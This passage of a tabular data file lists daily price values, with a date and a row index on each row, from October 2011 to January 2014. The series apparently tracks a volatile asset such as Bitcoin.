2011-10-15 3.70888 457 | 2011-10-16 3.4 458 | 2011-10-17 2.26 459 | 2011-10-18 2.31 460 | 2011-10-19 2.0401 461 | 2011-10-20 2.22 462 | 2011-10-21 2.32699 463 | 2011-10-22 2.5515 464 | 2011-10-23 2.95 465 | 2011-10-24 2.481 466 | 2011-10-25 2.44034 467 | 2011-10-26 2.6502 468 | 2011-10-27 2.7311 469 | 2011-10-28 2.90501 470 | 2011-10-29 3.14 471 | 2011-10-30 3.2 472 | 2011-10-31 3.066 473 | 2011-11-01 3.07001 474 | 2011-11-02 3.141 475 | 2011-11-03 3.1 476 | 2011-11-04 3.01111 477 | 2011-11-05 2.85 478 | 2011-11-06 2.92 479 | 2011-11-07 2.95 480 | 2011-11-08 3.00579 481 | 2011-11-09 2.88655 482 | 2011-11-10 2.80011 483 | 2011-11-11 2.823 484 | 2011-11-12 3.01 485 | 2011-11-13 2.951 486 | 2011-11-14 2.09995 487 | 2011-11-15 2.11 488 | 2011-11-16 2.301 489 | 2011-11-17 1.994 490 | 2011-11-18 2 491 | 2011-11-19 1.99998 492 | 2011-11-20 2.15 493 | 2011-11-21 2.17 494 | 2011-11-22 2.25 495 | 2011-11-23 2.27 496 | 2011-11-24 2.30526 497 | 2011-11-25 2.374 498 | 2011-11-26 2.41041 499 | 2011-11-27 2.42331 500 | 2011-11-28 2.44 501 | 2011-11-29 2.54028 502 | 2011-11-30 2.73225 503 | 2011-12-01 2.92894 504 | 2011-12-02 3.03498 505 | 2011-12-03 2.75 506 | 2011-12-04 2.61 507 | 2011-12-05 2.7807 508 | 2011-12-06 2.8701 509 | 2011-12-07 2.93241 510 | 2011-12-08 2.88421 511 | 2011-12-09 2.93471 512 | 2011-12-10 2.93471 513 | 2011-12-11 2.99 514 | 2011-12-12 3.08414 515 | 2011-12-13 3.141 516 | 2011-12-14 2.99401 517 | 2011-12-15 3.11001 518 | 2011-12-16 3.15 519 | 2011-12-17 3.15526 520 | 2011-12-18 3.1751 521 | 2011-12-19 3.18933 522 | 2011-12-20 3.483 523 | 2011-12-21 3.81 524 | 2011-12-22 3.509 525 | 2011-12-23 3.815 526 | 2011-12-24 3.855 527 | 2011-12-25 3.7807 528 | 2011-12-26 3.81 529 | 2011-12-27 3.962 530 | 2011-12-28 3.99 531 | 2011-12-29 4.116 532 | 2011-12-30 4.06334 533 | 2011-12-31 4.2 534 | 2012-01-01 4.615 535 | 2012-01-02 4.8 536 | 2012-01-03 4.65 537 | 2012-01-04 4.751 538 | 2012-01-05 5.57401 539 | 2012-01-06 6.1261 540 | 2012-01-07 6.38 541 | 2012-01-08 6.73357 542 | 2012-01-09 5.81 543 | 2012-01-10 6.001 544 | 2012-01-11 6.41266 545 | 2012-01-12 6.337 546 | 2012-01-13 6.4 547 | 2012-01-14 6.2201 548 | 2012-01-15 6.74115 549 | 2012-01-16 6.511 550 | 2012-01-17 4.64 551 | 2012-01-18 5.09999 552 | 2012-01-19 5.87284 553 | 2012-01-20 6.258 554 | 2012-01-21 6.1 555 | 2012-01-22 6.1 556 | 2012-01-23 6.212 557 | 2012-01-24 6.219 558 | 2012-01-25 5.502 559 | 2012-01-26 5.3 560 | 2012-01-27 5.05 561 | 2012-01-28 5.26 562 | 2012-01-29 5.32766 563 | 2012-01-30 5.36694 564 | 2012-01-31 5.426 565 | 2012-02-01 5.4678 566 | 2012-02-02 5.823 567 | 2012-02-03 5.71872 568 | 2012-02-04 5.84 569 | 2012-02-05 5.45 570 | 2012-02-06 5.45 571 | 2012-02-07 5.45 572 | 2012-02-08 5.3 573 | 2012-02-09 5.5 574 | 2012-02-10 5.80119 575 | 2012-02-11 5.541 576 | 2012-02-12 5.43 577 | 2012-02-13 5.2 578 | 2012-02-14 4.21211 579 | 2012-02-15 4.2001 580 | 2012-02-16 3.878 581 | 2012-02-17 4.2281 582 | 2012-02-18 4.12 583 | 2012-02-19 4.181 584 | 2012-02-20 4.29017 585 | 2012-02-21 4.212 586 | 2012-02-22 4.27102 587 | 2012-02-23 4.42 588 | 2012-02-24 4.825 589 | 2012-02-25 4.65 590 | 2012-02-26 4.77303 591 | 2012-02-27 4.89 592 | 2012-02-28 4.735 593 | 2012-02-29 4.8 594 | 2012-03-01 4.86 595 | 2012-03-02 4.51 596 | 2012-03-03 4.51 597 | 2012-03-04 4.612 598 | 2012-03-05 4.82001 599 | 2012-03-06 4.9 600 | 2012-03-07 4.84 601 | 2012-03-08 4.7551 602 | 2012-03-09 4.821 603 | 2012-03-10 4.753 604 | 2012-03-11 4.8111 605 | 2012-03-12 4.8561 606 | 2012-03-13 4.86511 607 | 2012-03-14 5.25173 608 | 2012-03-15 5.25501 609 | 2012-03-16 5.3 610 | 2012-03-17 5.21212 611 | 2012-03-18 5.211 612 | 2012-03-19 4.5 613 | 2012-03-20 4.58778 614 | 2012-03-21 4.75 615 | 2012-03-22 4.59768 616 | 2012-03-23 4.6 617 | 2012-03-24 4.59595 618 | 2012-03-25 4.3 619 | 2012-03-26 4.51588 620 | 2012-03-27 4.49 621 | 2012-03-28 4.72102 622 | 2012-03-29 4.71001 623 | 2012-03-30 4.71699 624 | 2012-03-31 4.82011 625 | 2012-04-01 4.73 626 | 2012-04-02 4.76 627 | 2012-04-03 4.81 628 | 2012-04-04 4.89 629 | 2012-04-05 4.87 630 | 2012-04-06 4.88001 631 | 2012-04-07 4.68715 632 | 2012-04-08 4.62 633 | 2012-04-09 4.73155 634 | 2012-04-10 4.76391 635 | 2012-04-11 4.79111 636 | 2012-04-12 4.84272 637 | 2012-04-13 4.73001 638 | 2012-04-14 4.90001 639 | 2012-04-15 4.86 640 | 2012-04-16 4.90988 641 | 2012-04-17 4.925 642 | 2012-04-18 4.96 643 | 2012-04-19 5.1 644 | 2012-04-20 5.10103 645 | 2012-04-21 5.11 646 | 2012-04-22 5.101 647 | 2012-04-23 4.95999 648 | 2012-04-24 4.952 649 | 2012-04-25 5.03575 650 | 2012-04-26 4.99 651 | 2012-04-27 5.0321 652 | 2012-04-28 4.84634 653 | 2012-04-29 4.88 654 | 2012-04-30 4.87003 655 | 2012-05-01 4.91602 656 | 2012-05-02 4.97 657 | 2012-05-03 5.02 658 | 2012-05-04 5.067 659 | 2012-05-05 5.02932 660 | 2012-05-06 5.01378 661 | 2012-05-07 4.97111 662 | 2012-05-08 4.96 663 | 2012-05-09 5 664 | 2012-05-10 4.80284 665 | 2012-05-11 4.801 666 | 2012-05-12 4.915 667 | 2012-05-13 4.92 668 | 2012-05-14 4.9 669 | 2012-05-15 4.95123 670 | 2012-05-16 5 671 | 2012-05-17 5.0515 672 | 2012-05-18 5.0615 673 | 2012-05-19 5.07 674 | 2012-05-20 5.0855 675 | 2012-05-21 5.0623 676 | 2012-05-22 5.04951 677 | 2012-05-23 5.06502 678 | 2012-05-24 5.0701 679 | 2012-05-25 5.102 680 | 2012-05-26 5.10011 681 | 2012-05-27 5.10011 682 | 2012-05-28 5.11 683 | 2012-05-29 5.015 684 | 2012-05-30 5.1 685 | 2012-05-31 5.1121 686 | 2012-06-01 5.18111 687 | 2012-06-02 5.2133 688 | 2012-06-03 5.2051 689 | 2012-06-04 5.18001 690 | 2012-06-05 5.22354 691 | 2012-06-06 5.38945 692 | 2012-06-07 5.41 693 | 2012-06-08 5.5599 694 | 2012-06-09 5.46177 695 | 2012-06-10 5.4267 696 | 2012-06-11 5.4324 697 | 2012-06-12 5.5 698 | 2012-06-13 5.66 699 | 2012-06-14 5.808 700 | 2012-06-15 5.883 701 | 2012-06-16 6.261 702 | 2012-06-17 6.1027 703 | 2012-06-18 6.03 704 | 2012-06-19 6.281 705 | 2012-06-20 6.45 706 | 2012-06-21 6.561 707 | 2012-06-22 6.42771 708 | 2012-06-23 6.4 709 | 2012-06-24 6.35 710 | 2012-06-25 6.21748 711 | 2012-06-26 6.28888 712 | 2012-06-27 6.4 713 | 2012-06-28 6.49 714 | 2012-06-29 6.542 715 | 2012-06-30 6.60201 716 | 2012-07-01 6.5351 717 | 2012-07-02 6.5778 718 | 2012-07-03 6.4 719 | 2012-07-04 6.44991 720 | 2012-07-05 6.48101 721 | 2012-07-06 6.55 722 | 2012-07-07 6.63 723 | 2012-07-08 6.7235 724 | 2012-07-09 6.74257 725 | 2012-07-10 6.96 726 | 2012-07-11 7.01777 727 | 2012-07-12 7.1 728 | 2012-07-13 7.4201 729 | 2012-07-14 7.51563 730 | 2012-07-15 7.45 731 | 2012-07-16 7.6178 732 | 2012-07-17 7.3215 733 | 2012-07-18 8.5 734 | 2012-07-19 8.8183 735 | 2012-07-20 7.6 736 | 2012-07-21 7.96 737 | 2012-07-22 8.2712 738 | 2012-07-23 7.75 739 | 2012-07-24 8.34 740 | 2012-07-25 8.3688 741 | 2012-07-26 8.6 742 | 2012-07-27 8.81415 743 | 2012-07-28 8.71 744 | 2012-07-29 8.7 745 | 2012-07-30 8.7 746 | 2012-07-31 9.07881 747 | 2012-08-01 9.111 748 | 2012-08-02 9.412 749 | 2012-08-03 10.3 750 | 2012-08-04 10.5307 751 | 2012-08-05 10.10986 752 | 2012-08-06 10.63539 753 | 2012-08-07 10.651 754 | 2012-08-08 10.85 755 | 2012-08-09 10.8 756 | 2012-08-10 11.01 757 | 2012-08-11 11.38751 758 | 2012-08-12 11.45 759 | 2012-08-13 11.4919 760 | 2012-08-14 11.89499 761 | 2012-08-15 12.16138 762 | 2012-08-16 12.5 763 | 2012-08-17 10.6 764 | 2012-08-18 11.02009 765 | 2012-08-19 7.58 766 | 2012-08-20 7.81011 767 | 2012-08-21 9.69876 768 | 2012-08-22 9.5714 769 | 2012-08-23 9.705 770 | 2012-08-24 9.852 771 | 2012-08-25 10.2 772 | 2012-08-26 10.446 773 | 2012-08-27 10.54441 774 | 2012-08-28 10.5 775 | 2012-08-29 10.55 776 | 2012-08-30 10.6 777 | 2012-08-31 9.66 778 | 2012-09-01 9.77635 779 | 2012-09-02 9.71922 780 | 2012-09-03 10.08889 781 | 2012-09-04 10.15 782 | 2012-09-05 10.261 783 | 2012-09-06 10.64 784 | 2012-09-07 10.9544 785 | 2012-09-08 10.765 786 | 2012-09-09 10.92452 787 | 2012-09-10 10.8745 788 | 2012-09-11 10.878 789 | 2012-09-12 10.78 790 | 2012-09-13 11.2201 791 | 2012-09-14 11.32103 792 | 2012-09-15 11.6 793 | 2012-09-16 11.722 794 | 2012-09-17 11.7655 795 | 2012-09-18 11.8402 796 | 2012-09-19 12.1501 797 | 2012-09-20 12.25 798 | 2012-09-21 12.011 799 | 2012-09-22 12.14 800 | 2012-09-23 11.6304 801 | 2012-09-24 11.95105 802 | 2012-09-25 12.008 803 | 2012-09-26 12.02 804 | 2012-09-27 12.207 805 | 2012-09-28 12.12 806 | 2012-09-29 12.21111 807 | 2012-09-30 12.301 808 | 2012-10-01 12.321 809 | 2012-10-02 12.3435 810 | 2012-10-03 12.68001 811 | 2012-10-04 12.6 812 | 2012-10-05 12.51 813 | 2012-10-06 12.35 814 | 2012-10-07 11.7 815 | 2012-10-08 10.621 816 | 2012-10-09 11.5711 817 | 2012-10-10 11.767 818 | 2012-10-11 11.85788 819 | 2012-10-12 11.92 820 | 2012-10-13 11.85 821 | 2012-10-14 11.496 822 | 2012-10-15 11.43 823 | 2012-10-16 11.5 824 | 2012-10-17 11.7 825 | 2012-10-18 11.75 826 | 2012-10-19 11.619 827 | 2012-10-20 11.56025 828 | 2012-10-21 11.61 829 | 2012-10-22 11.4711 830 | 2012-10-23 11.41 831 | 2012-10-24 11.591 832 | 2012-10-25 10.52 833 | 2012-10-26 9.74 834 | 2012-10-27 9.82207 835 | 2012-10-28 10.24998 836 | 2012-10-29 10.3209 837 | 2012-10-30 10.58 838 | 2012-10-31 10.70543 839 | 2012-11-01 10.4 840 | 2012-11-02 10.33 841 | 2012-11-03 10.4 842 | 2012-11-04 10.51002 843 | 2012-11-05 10.61 844 | 2012-11-06 10.6667 845 | 2012-11-07 10.8 846 | 2012-11-08 10.75 847 | 2012-11-09 10.79 848 | 2012-11-10 10.75 849 | 2012-11-11 10.7 850 | 2012-11-12 10.76666 851 | 2012-11-13 10.9215 852 | 2012-11-14 10.82011 853 | 2012-11-15 10.86 854 | 2012-11-16 11.17214 855 | 2012-11-17 11.52 856 | 2012-11-18 11.616 857 | 2012-11-19 11.6 858 | 2012-11-20 11.57297 859 | 2012-11-21 11.6435 860 | 2012-11-22 11.67 861 | 2012-11-23 12.132 862 | 2012-11-24 12.25 863 | 2012-11-25 12.3125 864 | 2012-11-26 11.89 865 | 2012-11-27 11.9 866 | 2012-11-28 12.1 867 | 2012-11-29 12.15 868 | 2012-11-30 12.42423 869 | 2012-12-01 12.4625 870 | 2012-12-02 12.434 871 | 2012-12-03 12.4755 872 | 2012-12-04 12.62 873 | 2012-12-05 13.15 874 | 2012-12-06 12.9 875 | 2012-12-07 12.975 876 | 2012-12-08 13.3545 877 | 2012-12-09 13.021 878 | 2012-12-10 13.26911 879 | 2012-12-11 13.3 880 | 2012-12-12 13.3 881 | 2012-12-13 13.46777 882 | 2012-12-14 13 883 | 2012-12-15 13.44216 884 | 2012-12-16 13.13111 885 | 2012-12-17 12.74919 886 | 2012-12-18 13.11 887 | 2012-12-19 13.2 888 | 2012-12-20 13.32591 889 | 2012-12-21 13.41999 890 | 2012-12-22 13.3213 891 | 2012-12-23 13.01 892 | 2012-12-24 13.2105 893 | 2012-12-25 13.14 894 | 2012-12-26 13.20001 895 | 2012-12-27 13.25 896 | 2012-12-28 13.34201 897 | 2012-12-29 13.27 898 | 2012-12-30 13.35 899 | 2012-12-31 13.36634 900 | 2013-01-01 13.16123 901 | 2013-01-02 13.16382 902 | 2013-01-03 13.24897 903 | 2013-01-04 13.27311 904 | 2013-01-05 13.314 905 | 2013-01-06 13.356 906 | 2013-01-07 13.404 907 | 2013-01-08 13.5 908 | 2013-01-09 13.62 909 | 2013-01-10 13.77 910 | 2013-01-11 13.91001 911 | 2013-01-12 13.975 912 | 2013-01-13 13.94896 913 | 2013-01-14 14.11 914 | 2013-01-15 13.99178 915 | 2013-01-16 14.21001 916 | 2013-01-17 14.63 917 | 2013-01-18 15.41 918 | 2013-01-19 15.25 919 | 2013-01-20 15.51 920 | 2013-01-21 15.63412 921 | 2013-01-22 16.65 922 | 2013-01-23 16.80155 923 | 2013-01-24 15.6101 924 | 2013-01-25 15.38613 925 | 2013-01-26 16.54001 926 | 2013-01-27 17.21 927 | 2013-01-28 17.75 928 | 2013-01-29 18.7 929 | 2013-01-30 19.14901 930 | 2013-01-31 19.51123 931 | 2013-02-01 20.301 932 | 2013-02-02 18 933 | 2013-02-03 19.42 934 | 2013-02-04 19.85502 935 | 2013-02-05 20.2 936 | 2013-02-06 20.60001 937 | 2013-02-07 20.77002 938 | 2013-02-08 22 939 | 2013-02-09 22.57541 940 | 2013-02-10 22.67 941 | 2013-02-11 23.6456 942 | 2013-02-12 24.3001 943 | 2013-02-13 24.19491 944 | 2013-02-14 21.721 945 | 2013-02-15 26.103 946 | 2013-02-16 26.8075 947 | 2013-02-17 25 948 | 2013-02-18 26.36268 949 | 2013-02-19 26.8 950 | 2013-02-20 28.98839 951 | 2013-02-21 29.311 952 | 2013-02-22 29.67001 953 | 2013-02-23 28 954 | 2013-02-24 29.20123 955 | 2013-02-25 29.55 956 | 2013-02-26 30.1171 957 | 2013-02-27 30.7901 958 | 2013-02-28 30.902 959 | 2013-03-01 32.92 960 | 2013-03-02 33.15 961 | 2013-03-03 33.8 962 | 2013-03-04 34.19 963 | 2013-03-05 36.15 964 | 2013-03-06 40.1446 965 | 2013-03-07 33.3 966 | 2013-03-08 41.02 967 | 2013-03-09 43.411 968 | 2013-03-10 45.471 969 | 2013-03-11 45.54 970 | 2013-03-12 36.65 971 | 2013-03-13 43.7508 972 | 2013-03-14 46.05 973 | 2013-03-15 46.4 974 | 2013-03-16 46.2707 975 | 2013-03-17 46.8 976 | 2013-03-18 47.12009 977 | 2013-03-19 50 978 | 2013-03-20 57.702 979 | 2013-03-21 63.101 980 | 2013-03-22 65 981 | 2013-03-23 52.3456 982 | 2013-03-24 62.7 983 | 2013-03-25 69.51777 984 | 2013-03-26 73.11 985 | 2013-03-27 78.4 986 | 2013-03-28 75.00111 987 | 2013-03-29 83.01 988 | 2013-03-30 87 989 | 2013-03-31 91 990 | 2013-04-01 92.2361 991 | 2013-04-02 99 992 | 2013-04-03 110 993 | 2013-04-04 116.39063 994 | 2013-04-05 130.24303 995 | 2013-04-06 139.54 996 | 2013-04-07 142.63113 997 | 2013-04-08 162.59806 998 | 2013-04-09 186.5 999 | 2013-04-10 105 1000 | 2013-04-11 110.20003 1001 | 2013-04-12 54.25 1002 | 2013-04-13 85.5 1003 | 2013-04-14 84.43689 1004 | 2013-04-15 71.51 1005 | 2013-04-16 50.01 1006 | 2013-04-17 63.3 1007 | 2013-04-18 86 1008 | 2013-04-19 105.54 1009 | 2013-04-20 115 1010 | 2013-04-21 110 1011 | 2013-04-22 118.5 1012 | 2013-04-23 124.97 1013 | 2013-04-24 140.96635 1014 | 2013-04-25 120.089 1015 | 2013-04-26 121.45164 1016 | 2013-04-27 122.71 1017 | 2013-04-28 127.5 1018 | 2013-04-29 133 1019 | 2013-04-30 134 1020 | 2013-05-01 104 1021 | 2013-05-02 91.11 1022 | 2013-05-03 79 1023 | 2013-05-04 92 1024 | 2013-05-05 107 1025 | 2013-05-06 106.01 1026 | 2013-05-07 97.52 1027 | 2013-05-08 109.5 1028 | 2013-05-09 108.8 1029 | 2013-05-10 111.54 1030 | 2013-05-11 113 1031 | 2013-05-12 112.4 1032 | 2013-05-13 114.5002 1033 | 2013-05-14 109.42198 1034 | 2013-05-15 103.01847 1035 | 2013-05-16 112.1 1036 | 2013-05-17 116.5712 1037 | 2013-05-18 122.25 1038 | 2013-05-19 119.5 1039 | 2013-05-20 120.1 1040 | 2013-05-21 121.1 1041 | 2013-05-22 122 1042 | 2013-05-23 123 1043 | 2013-05-24 125.35502 1044 | 2013-05-25 128.2 1045 | 2013-05-26 130.61 1046 | 2013-05-27 124 1047 | 2013-05-28 125.4 1048 | 2013-05-29 127.6 1049 | 2013-05-30 126.5 1050 | 2013-05-31 126.33 1051 | 2013-06-01 127.10001 1052 | 2013-06-02 115 1053 | 2013-06-03 115.111 1054 | 2013-06-04 118.78525 1055 | 2013-06-05 119.5 1056 | 2013-06-06 117 1057 | 2013-06-07 106.15 1058 | 2013-06-08 107 1059 | 2013-06-09 88 1060 | 2013-06-10 95 1061 | 2013-06-11 103.23021 1062 | 2013-06-12 106 1063 | 2013-06-13 100.3 1064 | 2013-06-14 97.1 1065 | 2013-06-15 97.5 1066 | 2013-06-16 98.90017 1067 | 2013-06-17 98.9 1068 | 2013-06-18 101.03311 1069 | 2013-06-19 104.6603 1070 | 2013-06-20 107.12222 1071 | 2013-06-21 107.56 1072 | 2013-06-22 107.5111 1073 | 2013-06-23 106.19675 1074 | 2013-06-24 100.761 1075 | 2013-06-25 100 1076 | 2013-06-26 101.8322 1077 | 2013-06-27 100.055 1078 | 2013-06-28 92.25 1079 | 2013-06-29 93 1080 | 2013-06-30 93.85 1081 | 2013-07-01 86.011 1082 | 2013-07-02 87.51 1083 | 2013-07-03 76 1084 | 2013-07-04 72 1085 | 2013-07-05 65.42448 1086 | 2013-07-06 66.8119 1087 | 2013-07-07 66.60001 1088 | 2013-07-08 72.46 1089 | 2013-07-09 72.51 1090 | 2013-07-10 75.53 1091 | 2013-07-11 85.00001 1092 | 2013-07-12 88 1093 | 2013-07-13 87.76404 1094 | 2013-07-14 92.86 1095 | 2013-07-15 93.11 1096 | 2013-07-16 96 1097 | 2013-07-17 96.18 1098 | 2013-07-18 86.2 1099 | 2013-07-19 87.6 1100 | 2013-07-20 89.27 1101 | 2013-07-21 88 1102 | 2013-07-22 89.8 1103 | 2013-07-23 91.60001 1104 | 2013-07-24 92.3 1105 | 2013-07-25 93.57 1106 | 2013-07-26 96 1107 | 2013-07-27 93 1108 | 2013-07-28 94 1109 | 2013-07-29 98.45 1110 | 2013-07-30 100.47 1111 | 2013-07-31 103.55 1112 | 2013-08-01 103 1113 | 2013-08-02 101.21111 1114 | 2013-08-03 102 1115 | 2013-08-04 103.50108 1116 | 2013-08-05 105 1117 | 2013-08-06 105.11111 1118 | 2013-08-07 105.22 1119 | 2013-08-08 100.95969 1120 | 2013-08-09 101.935 1121 | 2013-08-10 102.38001 1122 | 2013-08-11 102.7 1123 | 2013-08-12 103.5 1124 | 2013-08-13 104.5 1125 | 2013-08-14 108 1126 | 2013-08-15 108.78 1127 | 2013-08-16 108.21 1128 | 2013-08-17 108.225 1129 | 2013-08-18 112 1130 | 2013-08-19 111.771 1131 | 2013-08-20 116.817 1132 | 2013-08-21 119.68162 1133 | 2013-08-22 120.54 1134 | 2013-08-23 118.444 1135 | 2013-08-24 118.02 1136 | 2013-08-25 119.14 1137 | 2013-08-26 119.91611 1138 | 2013-08-27 120 1139 | 2013-08-28 128.02 1140 | 2013-08-29 128.18 1141 | 2013-08-30 128.56 1142 | 2013-08-31 135.89 1143 | 2013-09-01 141 1144 | 2013-09-02 142.11 1145 | 2013-09-03 142.2 1146 | 2013-09-04 130.08998 1147 | 2013-09-05 127.24164 1148 | 2013-09-06 121.9 1149 | 2013-09-07 121.25 1150 | 2013-09-08 124.06 1151 | 2013-09-09 124 1152 | 2013-09-10 131.375 1153 | 2013-09-11 127.5 1154 | 2013-09-12 137.51 1155 | 2013-09-13 137.82 1156 | 2013-09-14 136.5 1157 | 2013-09-15 135.04 1158 | 2013-09-16 137.9 1159 | 2013-09-17 138 1160 | 2013-09-18 139.01001 1161 | 2013-09-19 131.14 1162 | 2013-09-20 131 1163 | 2013-09-21 132 1164 | 2013-09-22 131 1165 | 2013-09-23 132 1166 | 2013-09-24 132.5 1167 | 2013-09-25 134.7 1168 | 2013-09-26 134.71 1169 | 2013-09-27 134.82811 1170 | 2013-09-28 138.02021 1171 | 2013-09-29 141.36005 1172 | 2013-09-30 138.12 1173 | 2013-10-01 139.41 1174 | 2013-10-02 109.7 1175 | 2013-10-03 120.1 1176 | 2013-10-04 128.5 1177 | 2013-10-05 135.3 1178 | 2013-10-06 134.1 1179 | 2013-10-07 135.12 1180 | 2013-10-08 135.66 1181 | 2013-10-09 135.8 1182 | 2013-10-10 138.51 1183 | 2013-10-11 138.87001 1184 | 2013-10-12 139.4 1185 | 2013-10-13 141.50021 1186 | 2013-10-14 146.03267 1187 | 2013-10-15 150.628 1188 | 2013-10-16 144.20004 1189 | 2013-10-17 150.75471 1190 | 2013-10-18 156.5 1191 | 2013-10-19 167.1 1192 | 2013-10-20 177.25 1193 | 2013-10-21 183.2 1194 | 2013-10-22 192.795 1195 | 2013-10-23 200.75 1196 | 2013-10-24 175.30001 1197 | 2013-10-25 176.60399 1198 | 2013-10-26 187 1199 | 2013-10-27 189 1200 | 2013-10-28 200.42 1201 | 2013-10-29 204.20001 1202 | 2013-10-30 204 1203 | 2013-10-31 205.43565 1204 | 2013-11-01 209.76 1205 | 2013-11-02 211.02 1206 | 2013-11-03 212.105 1207 | 2013-11-04 222 1208 | 2013-11-05 229 1209 | 2013-11-06 251.4134 1210 | 2013-11-07 263.60001 1211 | 2013-11-08 308.01001 1212 | 2013-11-09 340 1213 | 2013-11-10 290 1214 | 2013-11-11 321.41 1215 | 2013-11-12 359.02 1216 | 2013-11-13 372.183 1217 | 2013-11-14 402.54 1218 | 2013-11-15 413.05 1219 | 2013-11-16 428.01172 1220 | 2013-11-17 457 1221 | 2013-11-18 522 1222 | 2013-11-19 502.6212 1223 | 2013-11-20 453.29 1224 | 2013-11-21 595.21 1225 | 2013-11-22 682.3 1226 | 2013-11-23 799.60484 1227 | 2013-11-24 745.2 1228 | 2013-11-25 758.95852 1229 | 2013-11-26 825.1 1230 | 2013-11-27 914.31556 1231 | 2013-11-28 1032.15 1232 | 2013-11-29 1050 1233 | 2013-11-30 1150.25 1234 | 2013-12-01 840.32 1235 | 2013-12-02 975 1236 | 2013-12-03 1065 1237 | 2013-12-04 1131.72718 1238 | 2013-12-05 870.001 1239 | 2013-12-06 800 1240 | 2013-12-07 576 1241 | 2013-12-08 653.0001 1242 | 2013-12-09 787.75 1243 | 2013-12-10 912 1244 | 2013-12-11 856.123 1245 | 2013-12-12 839.5 1246 | 2013-12-13 882.15864 1247 | 2013-12-14 875.13535 1248 | 2013-12-15 838.0201 1249 | 2013-12-16 714.11 1250 | 2013-12-17 678.8904 1251 | 2013-12-18 455 1252 | 2013-12-19 522.44 1253 | 2013-12-20 621.25001 1254 | 2013-12-21 610 1255 | 2013-12-22 615 1256 | 2013-12-23 631.00001 1257 | 2013-12-24 666.01 1258 | 2013-12-25 674 1259 | 2013-12-26 707.3 1260 | 2013-12-27 768 1261 | 2013-12-28 715.6 1262 | 2013-12-29 735 1263 | 2013-12-30 781 1264 | 2013-12-31 777 1265 | 2014-01-01 771 1266 | 2014-01-02 810.5601 1267 | 2014-01-03 840 1268 | 2014-01-04 848.47873 1269 | 2014-01-05 911.58 1270 | 2014-01-06 965 1271 | 2014-01-07 880 1272 | 2014-01-08 859 1273 | 2014-01-09 866.58247 1274 | 2014-01-10 906 1275 | 2014-01-11 935.13 1276 | 2014-01-12 922.3 1277 | 2014-01-13 880.11 1278 | 2014-01-14 905 1279 | 2014-01-15 915.15 1280 | 2014-01-16 911.01001 1281 | 2014-01-17 867.43 1282 | 2014-01-18 885 1283 | 2014-01-19 902.01 1284 | 2014-01-20 926 1285 | 2014-01-21 956.00002 1286 | --------------------------------------------------------------------------------